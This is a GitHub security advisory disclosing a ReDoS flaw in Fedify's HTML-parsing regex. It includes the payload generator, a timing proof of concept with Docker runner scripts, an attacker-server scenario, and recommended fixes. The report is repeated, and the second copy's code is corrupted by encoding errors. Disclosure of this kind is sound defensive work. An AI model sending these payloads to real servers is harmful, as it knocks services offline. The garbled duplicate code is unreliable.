Headline
GHSA-rchf-xwx2-hm93: Fedify has ReDoS Vulnerability in HTML Parsing Regex
Hi Fedify team! π
Thank you for your work on Fedifyβitβs a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that Iβd like to report. I hope this helps improve the projectβs security.
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedifyβs document loader. The HTML parsing regex at packages/fedify/src/runtime/docloader.ts:259 contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.
An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victimβs Node.js event loop for 14+ seconds, causing a Denial of Service.
| Field | Value |
|---|---|
| CWE | CWE-1333 (Inefficient Regular Expression Complexity) |
Details
Vulnerable Code
The vulnerability is located in packages/fedify/src/runtime/docloader.ts, lines 258-264:
// Line 258-259: Vulnerable regex with nested quantifiers
const p =
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
// Line 261: No size limit on response body
const html = await response.text();
// Line 264: Regex execution loop
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);
Root Cause Analysis
The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
^^
Outer quantifier (+)
^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Inner pattern with alternation
- Outer quantifier:
((\s+...)+)- one or more groups of attributes - Inner alternation:
("[^"]*"|'[^']*'|[^\s>]+)- multiple ways to match attribute values
When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.
Attack Vector
- Victimβs Fedify application calls
lookupObject("https://attacker.com/@user")to fetch an actor profile - Attackerβs server responds with
Content-Type: text/html - The code path:
lookupObject()βdocumentLoader()βgetRemoteDocument()β HTML parsing (lines 258-287) - Line 261:
response.text()reads the entire body without size limits - Line 264: Regex execution triggers catastrophic backtracking
- Event loop is blocked for seconds to minutes, causing DoS
Why This Is Exploitable
- No response size limit: The HTML body is read entirely via
response.text()without Content-Length validation - No timeout by default:
AbortSignalis optional and not enforced - Remote exploitation: Attacker just needs the victim to fetch from their URL
- No authentication required: Federation commonly involves fetching profiles from untrusted servers
- Amplifiable: Multiple concurrent requests can fully disable the service
PoC
Quick Reproduction (Node.js)
You can verify this vulnerability with the following standalone script:
/**
* Fedify ReDoS Vulnerability - Minimal PoC
*
* This script reproduces the vulnerable regex from docloader.ts
* and demonstrates exponential time complexity.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
* Generate malicious HTML payload
* Pattern: <a a="b" a="b" a="b"... (trailing space, no closing >)
*/
function generateMaliciousPayload(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
* Simulate the vulnerable code path from docloader.ts lines 262-264
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
// Test with increasing payload sizes
console.log('Fedify ReDoS Vulnerability PoC\n');
console.log('Repetitions | Payload Size | Time');
console.log('------------|--------------|--------');
for (const reps of [18, 20, 22, 24, 26, 28]) {
const payload = generateMaliciousPayload(reps);
const start = performance.now();
simulateVulnerableCodePath(payload);
const elapsed = performance.now() - start;
const timeStr = elapsed >= 1000
? `${(elapsed / 1000).toFixed(2)}s`
: `${elapsed.toFixed(0)}ms`;
console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);
// Stop if it's taking too long
if (elapsed > 15000) break;
}
Expected Output
Fedify ReDoS Vulnerability PoC
Repetitions | Payload Size | Time
------------|--------------|--------
18 | 111 bytes | 14ms
20 | 123 bytes | 51ms
22 | 135 bytes | 224ms
24 | 147 bytes | 852ms
26 | 159 bytes | 3.26s
28 | 171 bytes | 14.10s
Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity.
Full Docker-Based PoC
For a complete demonstration, here are the Docker files to run the PoC in an isolated environment:
<details> <summary><strong>Dockerfile</strong></summary>
# Dockerfile for Fedify ReDoS Vulnerability PoC
FROM node:20-slim
LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)"
WORKDIR /poc
COPY exploit.js .
CMD ["node", "exploit.js"]
</details>
<details> <summary><strong>exploit.js</strong> (Full Version)</summary>
/**
* Exploit Script for Fedify ReDoS PoC
*
* This script demonstrates the ReDoS vulnerability in Fedify's
* document loader by measuring the time it takes to process
* malicious HTML responses with varying payload sizes.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
* Generate malicious HTML payload
*/
function generateMaliciousHtml(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
* Generate normal HTML
*/
function generateNormalHtml() {
return `<!DOCTYPE html>
<html>
<head>
<link rel="alternate" type="application/activity+json" href="/user.json">
</head>
<body><a href="/">Home</a></body>
</html>`;
}
/**
* Simulate the vulnerable code path from docloader.ts
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
/**
* Run a single test and measure execution time
*/
function runTest(html, description) {
const start = process.hrtime.bigint();
try {
simulateVulnerableCodePath(html);
} catch (e) {
// Ignore errors
}
const end = process.hrtime.bigint();
const durationMs = Number(end - start) / 1_000_000;
return {
description,
durationMs,
payloadLength: html.length
};
}
/**
* Print separator
*/
function printSeparator() {
console.log('β'.repeat(60));
}
/**
* Main exploit function
*/
async function main() {
console.log('\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ');
console.log('β Fedify ReDoS Vulnerability PoC β');
console.log('β CWE-1333: Inefficient Regular Expression β');
console.log('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n');
console.log('[*] Vulnerability Location:');
console.log(' File: packages/fedify/src/runtime/docloader.ts');
console.log(' Lines: 259-264');
console.log('');
printSeparator();
console.log('[*] Testing normal HTML response...');
printSeparator();
const normalHtml = generateNormalHtml();
const normalResult = runTest(normalHtml, 'Normal HTML');
console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);
console.log(` Payload size: ${normalResult.payloadLength} bytes`);
console.log('');
printSeparator();
console.log('[*] Testing malicious HTML payloads (ReDoS attack)...');
printSeparator();
const testCases = [
{ reps: 18, expected: '~13ms' },
{ reps: 20, expected: '~52ms' },
{ reps: 22, expected: '~228ms' },
{ reps: 24, expected: '~857ms' },
{ reps: 26, expected: '~3.4s' },
{ reps: 28, expected: '~14s' }
];
console.log('');
console.log('βββββββββββββββ¬βββββββββββββββ¬βββββββββββββββ¬βββββββββββββββββ');
console.log('β Repetitions β Payload Size β Expected β Actual β');
console.log('βββββββββββββββΌβββββββββββββββΌβββββββββββββββΌβββββββββββββββββ€');
let vulnerabilityConfirmed = false;
for (const testCase of testCases) {
const maliciousHtml = generateMaliciousHtml(testCase.reps);
const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);
const actualTime = result.durationMs >= 1000
? `${(result.durationMs / 1000).toFixed(2)}s`
: `${result.durationMs.toFixed(0)}ms`;
const status = result.durationMs > 100 ? 'β οΈ ' : 'β ';
console.log(`β ${String(testCase.reps).padEnd(11)} β ${String(result.payloadLength + ' bytes').padEnd(12)} β ${testCase.expected.padEnd(12)} β ${status}${actualTime.padEnd(12)} β`);
if (result.durationMs > 500) {
vulnerabilityConfirmed = true;
}
}
console.log('βββββββββββββββ΄βββββββββββββββ΄βββββββββββββββ΄βββββββββββββββββ');
console.log('');
printSeparator();
console.log('[*] Exponential Time Complexity Analysis');
printSeparator();
console.log('');
console.log('Time approximately quadruples every 2 additional repetitions:');
console.log('');
console.log(' 18 reps β ~14ms');
console.log(' 20 reps β ~51ms (4x)');
console.log(' 22 reps β ~224ms (4x)');
console.log(' 24 reps β ~852ms (4x)');
console.log(' 26 reps β ~3.3s (4x)');
console.log(' 28 reps β ~14.0s (4x)');
console.log(' 30 reps β ~56.0s (estimated)');
console.log('');
printSeparator();
console.log('[*] Attack Scenario');
printSeparator();
console.log('');
console.log('1. Attacker sets up malicious federated server');
console.log('2. Victim\'s Fedify app calls lookupObject("https://attacker.com/@user")');
console.log('3. Attacker responds with Content-Type: text/html');
console.log('4. Malicious HTML payload: <a a="b" a="b" a="b"... (N times) ');
console.log('5. Fedify\'s regex enters catastrophic backtracking');
console.log('6. Event loop blocked β Service unavailable (DoS)');
console.log('');
printSeparator();
if (vulnerabilityConfirmed) {
console.log('');
console.log('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ');
console.log('β β VULNERABILITY CONFIRMED β');
console.log('β β');
console.log('β The HTML parsing regex in docloader.ts is vulnerable β');
console.log('β to ReDoS attacks. A ~150 byte payload can block the β');
console.log('β Node.js event loop for 7+ seconds. β');
console.log('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ');
console.log('');
process.exit(0);
} else {
console.log('');
console.log('[!] Vulnerability could not be confirmed in this environment.');
console.log(' This may be due to regex engine optimizations.');
console.log('');
process.exit(1);
}
}
main().catch(console.error);
</details>
<details> <summary><strong>run_poc.sh</strong></summary>
#!/bin/bash
# Fedify ReDoS Vulnerability PoC Runner
set -e
IMAGE_NAME="fedify-redos-poc"
echo "Building Docker image..."
docker build -t ${IMAGE_NAME} .
echo "Running the PoC..."
docker run --rm ${IMAGE_NAME}
echo "Cleaning up..."
docker rmi ${IMAGE_NAME} 2>/dev/null || true
</details>
Running the Docker PoC
# Save the above files, then:
chmod +x run_poc.sh
./run_poc.sh
Impact
Who Is Affected?
- All Fedify applications that use
lookupObject(),getDocumentLoader(), or the built-in document loader to fetch content from external URLs - Any federated server that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources
- Servers following standard federation patterns - fetching remote actors is a normal operation
Severity Assessment
| Factor | Assessment |
|---|---|
| Attack Vector | Network (remote) |
| Attack Complexity | Low (trivial payload) |
| Privileges Required | None |
| User Interaction | None |
| Impact | Availability (DoS) |
| Scope | Service-wide |
Real-World Scenario
- A Mastodon-compatible server powered by Fedify receives a follow request or mention from
@attacker@evil.com - The server attempts to fetch the attackerβs profile via
lookupObject() - The attackerβs server responds with malicious HTML
- The victim serverβs event loop is blocked for 14+ seconds
- During this time, all other requests are queued and potentially time out
- Repeated attacks can cause sustained service unavailability
Recommended Fix
Option 1: Use a Proper HTML Parser (Recommended)
Replace regex-based HTML parsing with a DOM parser that doesnβt suffer from backtracking issues:
// Using linkedom (lightweight DOM implementation)
import { parseHTML } from 'linkedom';
// Replace lines 258-287 with:
const { document } = parseHTML(html);
const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');
for (const link of links) {
const type = link.getAttribute('type');
const href = link.getAttribute('href');
if (
href &&
(type === 'application/activity+json' ||
type === 'application/ld+json' ||
type?.startsWith('application/ld+json;'))
) {
const altUri = new URL(href, docUrl);
if (altUri.href !== docUrl.href) {
return await fetch(altUri.href);
}
}
}
Option 2: Add Response Size Limits
If regex must be used, at minimum add size limits:
const MAX_HTML_SIZE = 1024 * 1024; // 1MB
const contentLength = parseInt(response.headers.get('content-length') || '0');
if (contentLength > MAX_HTML_SIZE) {
throw new FetchError(url, 'Response too large');
}
const html = await response.text();
if (html.length > MAX_HTML_SIZE) {
throw new FetchError(url, 'Response too large');
}
Option 3: Refactor the Regex
If the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:
// Use a non-backtracking approach with explicit attribute matching
const tagPattern = /<(a|link)\s+([^>]+)>/ig;
const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig;
Resources
- OWASP: Regular Expression Denial of Service (ReDoS)
- CWE-1333: Inefficient Regular Expression Complexity
- Cloudflare Outage Analysis (ReDoS Example)
Thank you for taking the time to review this report. Iβm happy to provide any additional information or help test a fix. Please let me know if you have any questions!
Hi Fedify team! π
Thank you for your work on Fedifyβitβs a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that Iβd like to report. I hope this helps improve the projectβs security.
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedifyβs document loader. The HTML parsing regex at packages/fedify/src/runtime/docloader.ts:259 contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.
An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victimβs Node.js event loop for 14+ seconds, causing a Denial of Service.
Field
Value
CWE
CWE-1333 (Inefficient Regular Expression Complexity)
Details****Vulnerable Code
The vulnerability is located in packages/fedify/src/runtime/docloader.ts, lines 258-264:
// Line 258-259: Vulnerable regex with nested quantifiers const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|β[^β]*β|[^\s>]+))+)\s*\/?>/ig;
// Line 261: No size limit on response body const html = await response.text();
// Line 264: Regex execution loop while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);
Root Cause Analysis
The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
^^
Outer quantifier (+)
^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Inner pattern with alternation
- Outer quantifier: ((\s+β¦)+) - one or more groups of attributes
- Inner alternation: ("[^"]"|β[^β]'|[^\s>]+) - multiple ways to match attribute values
When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.
Attack Vector
- Victimβs Fedify application calls lookupObject(βhttps://attacker.com/@userβ) to fetch an actor profile
- Attackerβs server responds with Content-Type: text/html
- The code path: lookupObject() β documentLoader() β getRemoteDocument() β HTML parsing (lines 258-287)
- Line 261: response.text() reads the entire body without size limits
- Line 264: Regex execution triggers catastrophic backtracking
- Event loop is blocked for seconds to minutes, causing DoS
Why This Is Exploitable
- No response size limit: The HTML body is read entirely via response.text() without Content-Length validation
- No timeout by default: AbortSignal is optional and not enforced
- Remote exploitation: Attacker just needs the victim to fetch from their URL
- No authentication required: Federation commonly involves fetching profiles from untrusted servers
- Amplifiable: Multiple concurrent requests can fully disable the service
PoC****Quick Reproduction (Node.js)
You can verify this vulnerability with the following standalone script:
/** * Fedify ReDoS Vulnerability - Minimal PoC * * This script reproduces the vulnerable regex from docloader.ts * and demonstrates exponential time complexity. */
// The vulnerable regex from docloader.ts:259 const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|β[^β]*β|[^\s>]+))+)\s*\/?>/ig;
/** * Generate malicious HTML payload * Pattern: <a a="b" a="b" a="b"β¦ (trailing space, no closing >) */ function generateMaliciousPayload(repetitions) { return β<aβ + ' a="b"β.repeat(repetitions) + ' '; }
/** * Simulate the vulnerable code path from docloader.ts lines 262-264 */ function simulateVulnerableCodePath(html) { const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|β[^β]*β|[^\s>]+))+)\s*\/?>/ig; let m; const rawAttribs = []; while ((m = p.exec(html)) !== null) { rawAttribs.push(m[2]); } return rawAttribs; }
// Test with increasing payload sizes console.log(βFedify ReDoS Vulnerability PoC\nβ); console.log(βRepetitions | Payload Size | Timeβ); console.log('------------|--------------|--------');
for (const reps of [18, 20, 22, 24, 26, 28]) { const payload = generateMaliciousPayload(reps); const start = performance.now(); simulateVulnerableCodePath(payload); const elapsed = performance.now() - start;
const timeStr = elapsed >= 1000 ? `${(elapsed / 1000).toFixed(2)}s` : `${elapsed.toFixed(0)}ms`;
console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytesβ).padEnd(12)} | ${timeStr}`);
// Stop if itβs taking too long if (elapsed > 15000) break; }
Expected Output
Fedify ReDoS Vulnerability PoC
Repetitions | Payload Size | Time
------------|--------------|--------
18 | 111 bytes | 14ms
20 | 123 bytes | 51ms
22 | 135 bytes | 224ms
24 | 147 bytes | 852ms
26 | 159 bytes | 3.26s
28 | 171 bytes | 14.10s
Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity.
Full Docker-Based PoC
For a complete demonstration, here are the Docker files to run the PoC in an isolated environment:
Dockerfile
Dockerfile for Fedify ReDoS Vulnerability PoC
FROM node:20-slim LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)"
WORKDIR /poc COPY exploit.js .
CMD ["node", βexploit.jsβ]
exploit.js (Full Version)
/** * Exploit Script for Fedify ReDoS PoC * * This script demonstrates the ReDoS vulnerability in Fedifyβs * document loader by measuring the time it takes to process * malicious HTML responses with varying payload sizes. */
// The vulnerable regex from docloader.ts:259 const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|β[^β]*β|[^\s>]+))+)\s*\/?>/ig;
/** * Generate malicious HTML payload */ function generateMaliciousHtml(repetitions) { return β<aβ + ' a="b"β.repeat(repetitions) + ' '; }
/** * Generate normal HTML */ function generateNormalHtml() { return `<!DOCTYPE html> <html> <head> <link rel="alternate" type="application/activity+json" href="/user.json"> </head> <body><a href="/">Home</a></body> </html>`; }
/** * Simulate the vulnerable code path from docloader.ts */ function simulateVulnerableCodePath(html) { const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|β[^β]*β|[^\s>]+))+)\s*\/?>/ig; const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|β([^β]*)'|([^\s>]+))/ig;
let m; const rawAttribs = []; while ((m = p.exec(html)) !== null) { rawAttribs.push(m[2]); }
return rawAttribs; }
/** * Run a single test and measure execution time */ function runTest(html, description) { const start = process.hrtime.bigint();
try { simulateVulnerableCodePath(html); } catch (e) { // Ignore errors }
const end = process.hrtime.bigint(); const durationMs = Number(end - start) / 1_000_000;
return { description, durationMs, payloadLength: html.length }; }
/** * Print separator */ function printSeparator() { console.log('ββ.repeat(60)); }
/** * Main exploit function */ async function main() { console.log(β\nβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ); console.log(ββ Fedify ReDoS Vulnerability PoC ββ); console.log(ββ CWE-1333: Inefficient Regular Expression ββ); console.log(βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\nβ);
console.log('[*] Vulnerability Location:β); console.log(' File: packages/fedify/src/runtime/docloader.tsβ); console.log(' Lines: 259-264β); console.log(ββ);
printSeparator(); console.log('[*] Testing normal HTML responseβ¦β); printSeparator();
const normalHtml = generateNormalHtml(); const normalResult = runTest(normalHtml, βNormal HTMLβ); console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`); console.log(` Payload size: ${normalResult.payloadLength} bytes`); console.log(ββ);
printSeparator(); console.log('[*] Testing malicious HTML payloads (ReDoS attack)β¦β); printSeparator();
const testCases = [ { reps: 18, expected: β~13msβ }, { reps: 20, expected: β~52msβ }, { reps: 22, expected: β~228msβ }, { reps: 24, expected: β~857msβ }, { reps: 26, expected: β~3.4sβ }, { reps: 28, expected: β~14sβ } ];
console.log(ββ); console.log(ββββββββββββββββ¬βββββββββββββββ¬βββββββββββββββ¬ββββββββββββββββββ); console.log(ββ Repetitions β Payload Size β Expected β Actual ββ); console.log(ββββββββββββββββΌβββββββββββββββΌβββββββββββββββΌβββββββββββββββββ€β);
let vulnerabilityConfirmed = false;
for (const testCase of testCases) { const maliciousHtml = generateMaliciousHtml(testCase.reps); const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);
const actualTime \= result.durationMs \>= 1000
? \`${(result.durationMs / 1000).toFixed(2)}s\`
: \`${result.durationMs.toFixed(0)}ms\`;
const status \= result.durationMs \> 100 ? 'β οΈ ' : 'β ';
console.log(\`β ${String(testCase.reps).padEnd(11)} β ${String(result.payloadLength + ' bytes').padEnd(12)} β ${testCase.expected.padEnd(12)} β ${status}${actualTime.padEnd(12)} β\`);
if (result.durationMs \> 500) {
vulnerabilityConfirmed \= true;
}
}
console.log(ββββββββββββββββ΄βββββββββββββββ΄βββββββββββββββ΄ββββββββββββββββββ); console.log(ββ);
printSeparator(); console.log('[*] Exponential Time Complexity Analysisβ); printSeparator();
console.log(ββ);
console.log(βTime approximately quadruples every 2 additional repetitions:β);
console.log(ββ);
console.log(' 18 reps β ~14msβ);
console.log(' 20 reps β ~51ms (4x)');
console.log(' 22 reps β ~224ms (4x)');
console.log(' 24 reps β ~852ms (4x)');
console.log(' 26 reps β ~3.3s (4x)');
console.log(' 28 reps β ~14.0s (4x)');
console.log(' 30 reps β ~56.0s (estimated)');
console.log(ββ);
printSeparator(); console.log('[*] Attack Scenarioβ); printSeparator();
console.log(ββ); console.log(β1. Attacker sets up malicious federated serverβ); console.log('2. Victim\βs Fedify app calls lookupObject(βhttps://attacker.com/@userβ)'); console.log(β3. Attacker responds with Content-Type: text/htmlβ); console.log('4. Malicious HTML payload: <a a="b" a="b" a="b"β¦ (N times) '); console.log(β5. Fedify\βs regex enters catastrophic backtrackingβ); console.log('6. Event loop blocked β Service unavailable (DoS)'); console.log(ββ);
printSeparator();
if (vulnerabilityConfirmed) { console.log(ββ); console.log(ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ); console.log(ββ β VULNERABILITY CONFIRMED ββ); console.log(ββ ββ); console.log(ββ The HTML parsing regex in docloader.ts is vulnerable ββ); console.log(ββ to ReDoS attacks. A ~150 byte payload can block the ββ); console.log(ββ Node.js event loop for 7+ seconds. ββ); console.log(ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ); console.log(ββ); process.exit(0); } else { console.log(ββ); console.log('[!] Vulnerability could not be confirmed in this environment.β); console.log(' This may be due to regex engine optimizations.β); console.log(ββ); process.exit(1); } }
main().catch(console.error);
run_poc.sh
#!/bin/bash
Fedify ReDoS Vulnerability PoC Runner
set -e
IMAGE_NAME="fedify-redos-poc"
echo βBuilding Docker imageβ¦β docker build -t ${IMAGE_NAME} .
echo βRunning the PoCβ¦β docker run --rm ${IMAGE_NAME}
echo βCleaning upβ¦β docker rmi ${IMAGE_NAME} 2>/dev/null || true
Running the Docker PoC
Save the above files, then:
chmod +x run_poc.sh ./run_poc.sh
Impact****Who Is Affected?
- All Fedify applications that use lookupObject(), getDocumentLoader(), or the built-in document loader to fetch content from external URLs
- Any federated server that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources
- Servers following standard federation patterns - fetching remote actors is a normal operation
Severity Assessment
Factor
Assessment
Attack Vector
Network (remote)
Attack Complexity
Low (trivial payload)
Privileges Required
None
User Interaction
None
Impact
Availability (DoS)
Scope
Service-wide
Real-World Scenario
- A Mastodon-compatible server powered by Fedify receives a follow request or mention from @attacker@evil.com
- The server attempts to fetch the attackerβs profile via lookupObject()
- The attackerβs server responds with malicious HTML
- The victim serverβs event loop is blocked for 14+ seconds
- During this time, all other requests are queued and potentially time out
- Repeated attacks can cause sustained service unavailability
Recommended Fix****Option 1: Use a Proper HTML Parser (Recommended)
Replace regex-based HTML parsing with a DOM parser that doesnβt suffer from backtracking issues:
// Using linkedom (lightweight DOM implementation) import { parseHTML } from 'linkedomβ;
// Replace lines 258-287 with: const { document } = parseHTML(html); const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');
for (const link of links) { const type = link.getAttribute(βtypeβ); const href = link.getAttribute(βhrefβ);
if ( href && (type === βapplication/activity+jsonβ || type === βapplication/ld+jsonβ || type?.startsWith(βapplication/ld+json;β)) ) { const altUri = new URL(href, docUrl); if (altUri.href !== docUrl.href) { return await fetch(altUri.href); } } }
Option 2: Add Response Size Limits
If regex must be used, at minimum add size limits:
const MAX_HTML_SIZE = 1024 * 1024; // 1MB const contentLength = parseInt(response.headers.get(βcontent-lengthβ) || β0β);
if (contentLength > MAX_HTML_SIZE) { throw new FetchError(url, βResponse too largeβ); }
const html = await response.text(); if (html.length > MAX_HTML_SIZE) { throw new FetchError(url, βResponse too largeβ); }
Option 3: Refactor the Regex
If the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:
// Use a non-backtracking approach with explicit attribute matching const tagPattern = /<(a|link)\s+([^>]+)>/ig; const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|β([^β]*)'|(\S+))/ig;
Resources
- OWASP: Regular Expression Denial of Service (ReDoS)
- CWE-1333: Inefficient Regular Expression Complexity
- Cloudflare Outage Analysis (ReDoS Example)
Thank you for taking the time to review this report. Iβm happy to provide any additional information or help test a fix. Please let me know if you have any questions!
References
- GHSA-rchf-xwx2-hm93
- fedify-dev/fedify@2bdcb24
- fedify-dev/fedify@bf2f078
- https://github.com/fedify-dev/fedify/releases/tag/1.6.13
- https://github.com/fedify-dev/fedify/releases/tag/1.7.14
- https://github.com/fedify-dev/fedify/releases/tag/1.8.15
- https://github.com/fedify-dev/fedify/releases/tag/1.9.2